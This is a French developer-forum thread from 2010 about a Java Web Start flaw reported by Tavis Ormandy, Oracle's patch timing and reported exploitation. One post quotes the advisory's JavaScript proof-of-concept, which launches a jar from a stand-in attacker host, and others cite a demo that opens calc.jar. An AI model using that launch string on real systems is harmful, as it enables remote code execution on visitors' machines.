Discussion :

[Gordon Fowler]

Mise à jour du 15/04/10
Oracle met à disposition une version correctrice du JRE/JDK : JDK 6 Update 20

Comme vient de le rapporter HowHigH, Oracle-Sun vient de patcher en urgence la vulnérabilité en sortant un correctif de sécurité
Les Release Notes
Téléchargez la dernière version du JRE/JDK 6


La vulnérabilité de Java déjà exploitée
Depuis des serveurs russes, Oracle reste sur sa position


La faille de Java récemment mise à jour par un ingénieur de Google (lire ci-avant) serait déjà exploitée.

Roger Thompson, chef chercheur chez AVG, a repéré des attaques depuis des serveurs russes utilisés par des sites qui ciblent le grand public (comme Songlyrics.com, qui propose les paroles de chansons de Lady Gaga, Rihanna, etc.).

En arrivant sur ce site, un iFrame malicieux camouflé dans une publicité redirige l'utilisateur (sans que celui-ci ne s'en aperçoive) vers un serveur hébergeant l'exploit.

Lors de sa visite, le payload (autrement dit la "charge active" de l'attaque : le code sensé se télécharger sur la machine) n'était pas activé. Roger Thompson suppose donc que toute cette attaque était un test grandeur nature.

"Le code impliqué [dans l'attaque] est très simple, ce qui le rend facile à reproduire, ce n'est donc pas surprenant que seulement cinq jours après [la découverte de la vulnérabilité de Java], nous détectons ce code dans une attaque qui utilise un serveur Russe" écrit-il sur son blog. Et d'appeler Sun a réagir au plus vite.

Malheureusement, Oracle-Sun a déjà indiqué qu'à ses yeux cette vulnérabilité n'était pas assez importante pour rompre son cycle de sortie de mises à jour de sécurité. La faille restera donc non-patchée jusqu'à juillet.

Pour mémoire, la vulnérabilité concerne Java Web Start, une fonctionnalité ajoutée depuis Java 6 qui permet aux développeurs de lancer plus facilement l'exécution de programmes depuis la machine de l'internaute. Une fonctionnalité à double tranchant (c'est en tout cas la présentation qu'en fait Thompson).

La crainte de beaucoup d'éditeurs de solution de sécurité est de voir arriver un nouveau "toolkits" sur les forums de hackers qui permette d'automatiser l'attaque sans que le pirate n'ait la moindre ligne de code à écrire.

Face aux accusations d'irresponsabilité qui se multiplient, Oracle reste silencieux (et sur sa position).

En attendant la réponse du nouveau propriétaire de Sun, les recommandations de Tavis Ormandy, l'ingénieur de Goggle qui a découvert la vulnérabilité de Java, restent bonnes à connaître (lire ci-avant).


Source : Le billet de Roger Thompson

Et vous ?

D'après vous, Oracle est-il "irresponsable" de ne pas sortir un patch en urgence, ou Roger Thompson et ses collègues donnent-ils dans le catastrophisme ?

MAJ de Gordon Fowler


Une faille de Java permettrait de prendre le contrôle d'une machine
Oracle minimise la vulnérabilité découverte par un ingénieur de Google


Un ingénieur de Google, Tavis Ormandy, vient de mettre à jour une faille de Java qui touche les versions Windows depuis la 6 update 10.

Après avoir contacté Oracle, Ormandy a reçu pour réponse que la société "ne considère pas cette vulnérabilité suffisamment importante pour rompre le cycle trimestriel de réalisation des patchs". Une appréciation avec laquelle "il n'est pas d'accord".

L'attaque que permet la faille est pourtant sérieuse puisqu'elle permet à un tiers de lancer un code malveillant et de prendre le contrôle de la machine.

En résumé, la vulnérabilité vient du fait que Java permet à un développeur d'installer une librairie alternative au lancement d'une JVM. Il suffit donc de créer une librairie "malveillante" et de l'appeler pour lancer un code à l'insu de l'utilisateur.

Selon Symantec, la faille toucherait également Linux - mais ne serait pas exploitable.

Plus d'informations sur la faille et sur les parades à adopter en attendant le patch d'Oracle dans le communiqué de Ormandy.

Source : Le communiqé de Tavis Ormandy et celle de Symantec



Lire aussi

Des vulnérabilités découvertes dans Java, déjà patchées par Oracle

Les rubriques (actus, forums, tutos) de Développez.com :
Java
Sécurité
Windows
Linux

Et vous ?

Cette vulnérabilité vous parait-elle critique ?
Et d'après vous, Oracle a-t-il raison de ne pas rompre son cycle de sortie de mises à jour de sécurité ?

[Paul TOTH]

dont la plus simple pour le grand public est encore de désinstaller Java

rolala !!! c'est un joli troll ça moi je propose

- format c:
- débrancher le câble réseau

[Gordon Fowler]

rolala !!! c'est un joli troll ça moi je propose

- format c:
- débrancher le câble réseau

Té non ! Pas de troll !!
Je retire ce que j'ai dit. Voila c'est fait, j'ai rien dit...

[gmotw]

De toute manière, il y a des méthodes plus simples indiqués sur le document.

Par contre, j'ai pas tout capté comment utiliser correctement cette faille, mais ça a l'air de passer par navigateur, c'est ça? Tu envoies vers un lien avec dedans "-jar tonJarTropIvol.jar".

Donc c'est bien le développeur qui fait son jar super-ivol-trop-méchant, et non pas un développeur qui utilise le jar d'un autre pour y rajouter une librairie pas-gentille-vilaine-bouh-pas-bien.

[Gordon Fowler]

Par contre, j'ai pas tout capté comment utiliser correctement cette faille, mais ça a l'air de passer par navigateur, c'est ça?

Salut,

T'as une démo (présentée comme sans risque ) ici de comment ça marche :
http://lock.cmpxchg8b.com/bb5eafbc6c.../testcase.html

[jaimepaslesmodozélés]

Bof, comme d'habitude -dans sa config par défaut- cela nécessite l'approbation de l'utilisateur (regardez votre config de Java Web Start, vous verrez bien).
Second point, si le JAR invoqué de manière détournée s'avère être dangereux, alors votre super-antivirus le détectera, comme d'hab.
Le soucis est que l'on parle ici d'un individu sans antivirus (ou quelconque solution de sécurité) cliquant frénétiquement sur "Yes" et "Next".

Alors si demander à l'utilisateur s'il veut installer XXX est ce qu'on appelle une faille de sécurité, je tiens à rappeler la plus grande faille toujours pas colmatée et exploitée depuis des temps immémoriaux : la bêtise humaine & son appétence à manipuler sans chercher à comprendre.

Non vraiment, ça n'a rien de critique.

[edit] Ajoutons que les paramètres de sécurité par défaut de Vista & Seven préviennent efficacement de ce genre de manip ^^.
Rien à craindre donc.

[pseudocode]

+1

Accepter le lancement une appli WebStart, c'est déjà le début de la fin de la sécurité. C'est un peu l'équivalent de lancer un exécutable reçu en piece-jointe d'un mail.

[Patriarch24]

Accepter le lancement une appli WebStart, c'est déjà le début de la fin de la sécurité.

Oui, mais il existe ce qu'on appelle des signatures numériques pour identifier les "applications de confiance". Ou alors, n'acceptons plus aucun certificat...

Quant à la faille, elle se situe probablement quelque part entre le clavier et la chaise.

[gmotw]

Salut,

T'as une démo (présentée comme sans risque ) ici de comment ça marche :
http://lock.cmpxchg8b.com/bb5eafbc6c.../testcase.html

Duh, proxy.

Sinon sur le communiqué, il donne ça comme exemple:

var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");

Du coup, je voulais justement savoir pour les gens comme moi qui n'ont pas accès à l'autre document si c'était juste dans ce genre d'utilisation qu'il considérait la faille. (parce que du coup effectivement, c'est peut-être un peu moins catastrophique)

[JoeChip]

Accepter le lancement une appli WebStart, c'est déjà le début de la fin de la sécurité.

Alors accepter d'installer une application, c'est le début de la fin de la sécurité... Pour avoir une sécurité absolue, il faut un ordi sans connexion au net, sans applications installée, et sans OS. Un ordinateur éteint, quoi.

[Vincent M]

La démo est bloquée par avast en tout cas.
Donc effectivement se balader à poil sur internet est une faille critique.
On ne patchera jamais l'utilisateur...

Je trouve que les annonces de failles "critique", c'est pratiquement de la désinformation, un peu comme quand l'état communique sur les "dangers" d'internet.

PS:
7 ans de lecture
4 mois d'inscription
1er Message... => Bonjour à tous

[tittoto]

Tiens tiens, on se dit tous que cette faille n'est pas critique, car on n'est pas des users Next-Next-Finish, que l'AV est censé nous prévenir en cas de JAR trop malveillant, etc..

POURTANT (et je suis peu surpris..), l'exploit fonctionne correctement à mon boulot. Aucune action n'est demandée à l'utilisateur, la calculette se lance toute seule.. Donc même si vous, en tant que particulier, vous pensez que le risque est mineur, sachez que pour des entreprises (très grand groupe pourtant!) le risque est bien réel. Quand on voit que ce type de faille n'est pas détecté dans de grosse société, il ne faut pas penser que l'impact est mineur.

[pseudocode]

Alors accepter d'installer une application, c'est le début de la fin de la sécurité... Pour avoir une sécurité absolue, il faut un ordi sans connexion au net, sans applications installée, et sans OS. Un ordinateur éteint, quoi.

Oui. Avec les OS actuels, installer une application c'est accepter un risque de compromission de ses données.

Je dis "avec les OS actuels" car (sauf SE Linux) il n'y a pas de firewall applicatif (sandbox) intégré a l'OS. La sécurité est à la charge de l'application (ici le runtime Java), quand elle y pense et si elle fonctionne.

PS:
7 ans de lecture
4 mois d'inscription
1er Message... => Bonjour à tous

Bienvenue à ton 1er commentaire

[tchize_]

pour ce qui est des certificats, ils n'entrent pas en compte, la technique présentée permet justement de contourner la sandbox de sécurité et passant directement des paramètre à la jvm qui va servir à webstart. On pourrait par exemple lui passer un xxxAgent, qui intercepterais tout, et travaille plus bas que le securitymanager -> pas de securitymanager pour lui.


Note que chez moi la démo marche pas (unable to access jar file).


Je suis cependant d'accord avec la décision "ce n'est pas critique, ca peut attendre le patch trimestriel". Pourquoi? Tout simplement parce qu'un workaround existe ne nécessitant pas de patch.

[tchize_]

Note que chez moi la démo marche pas (unable to access jar file).

Après vérification, l'url est de la forme
"\\\\lock.cmpxchg8b.com\\calc.jar"

Clairement, il s'agit d'utiliser le protocole de partage réseau de windows pour accéder comme à un fichier local à ce jar. La plupart des machine n'y auront pas accès (port bloqué par routeur, etc).

Dans ma boite, le jar est innacessible.

[joseph_p]

Ce type de situation où quelqu'un reproche à un éditeur de ne pas patcher assez vite une faille importante avec solution de prévention connue est elle unique à Oracle ?

En effet, je pense que ce type de situation est assez fréquent, tout éditeur confondu. Suis je dans le vrai ? Si oui, pourquoi alors mettre en avant ce cas spécifique ? A t il quelque chose de distinctif par rapport aux autres occurrences de ce type ?

[tchize_]

il est limité dans son usage (faut passer par un montage CIFS pour accéder au jar dans son url, car la jvm ne prend que des jar locaux dans sa ligne de commande). Comme souvent, dans les faille "critique", il y a des boites de securité derrière qui ont besoin de faire parler d'elle. Je vois de plus en plus souvent sur ces alertes de sécurité, des problème moyen, qui pourraient attendre quelques semaines, criés sur tous les toits pour bien montrer le nom de la boite. Et cette alerte n'y échappe pas:

Some very elite friends have started a consultancy called inverse path, you
should really hire them.

Croire que sa découverte a plus de poids que les autre failles de sécurité déjà découverte en java et patchées régulièrement, c'est un peu de la prétention...

[gmotw]

Ah ouais, quand même...


("Je viens de trouver une faille à Java, quand on double clique dessus, ça se lance! Par ailleurs, j'ai deux trois potes qui cherchent du boulot")

[kimz]

T'as une démo (présentée comme sans risque ) ici de comment ça marche :
http://lock.cmpxchg8b.com/bb5eafbc6c.../testcase.html

Et bien chez moi ça peut marcher :
Si IE8 bloque avec le message :unable to access jarfile \\lock.cmpxchg8b.com\calc.jar , avec Ffx 3.6.3 ça passe et sans aucune demande de validation par l'utilisateur, donc je rejoins :

POURTANT (et je suis peu surpris..), l'exploit fonctionne correctement à mon boulot. Aucune action n'est demandée à l'utilisateur, la calculette se lance toute seule.. Donc même si vous, en tant que particulier, vous pensez que le risque est mineur, sachez que pour des entreprises (très grand groupe pourtant!) le risque est bien réel. Quand on voit que ce type de faille n'est pas détecté dans de grosse société, il ne faut pas penser que l'impact est mineur.

+1
Car rien ne me garantit que la jvm ne puisse être contournée pour exécuter un jar externe, et dans un environnement d'entreprise, c'est problématique

PS : En fait l'info été disponible depuis vendredi, perso j'avais vu cette vulnérabilité dimanche et je m'étais étonné de ne pas la retrouver sur les actu sécu de dvp .. ça dort le week-end ?

[tchize_]

PS : En fait l'info été disponible depuis vendredi, perso j'avais vu cette vulnérabilité dimanche et je m'étais étonné de ne pas la retrouver sur les actu sécu de dvp .. ça dort le week-end ?

En ce qui me concerne, j'enlevait 100m² de plafonnage dans mon chez moi, et j'ai trouvé des vulnérabilité de ma maison, qui serait sensible aux attaque de moustique et de pluie